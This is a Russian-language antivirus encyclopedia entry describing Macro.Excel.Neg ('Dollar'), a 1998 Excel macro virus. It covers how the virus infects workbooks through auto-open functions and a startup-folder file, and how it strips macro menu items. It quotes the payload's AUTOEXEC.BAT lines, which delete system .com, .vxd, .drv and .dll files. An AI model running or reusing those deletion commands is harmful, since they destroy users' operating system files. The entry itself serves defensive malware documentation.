Энциклопедия компьютерных вирусов

         

Macro.Excel.Neg


Заражает электронные таблицы Excel. Содержит шесть функций в одном модуле Dollar: Auto_Open, Fuck, Auto_Close, cek_global, infectglobal, inFuckIt. При первом открытии зараженной таблицы (если система не заражена) вирус при помощи команды SaveAs создает в каталоге авто-запуска Excel зараженный файл DOLLAR.XLM и таким образом заражает систему. При открытии зараженных таблиц вызывается авто-функция auto_open, которая определяет функцию Fuck как выполняемую при активизации любой таблицы (Sheet). Функция Fuck содержит процедуру заражения всех активных Workbook. Удаляет 25 пунктов меню, касающихся работы с макросами (если таковые присутствуют). По 13-м числам дописывает к файлу C:\AUTOEXEC.BAT команды:

@ECHO OFF CLS cd\windows del *.com >nul del *.vxd >nul del *.drv >nul del *.dll >nul

Вирус содержит комментарий:

------------------------------------------------

Generated with NEG !!. Please include this text ------------------------------------------------ NEG is Trademark of NoMercy Date generated : 27- 3- 1998 VirusName: Dollar Author: NEG Module Name: Dollar Template: DOLLAR.XLM



Содержание раздела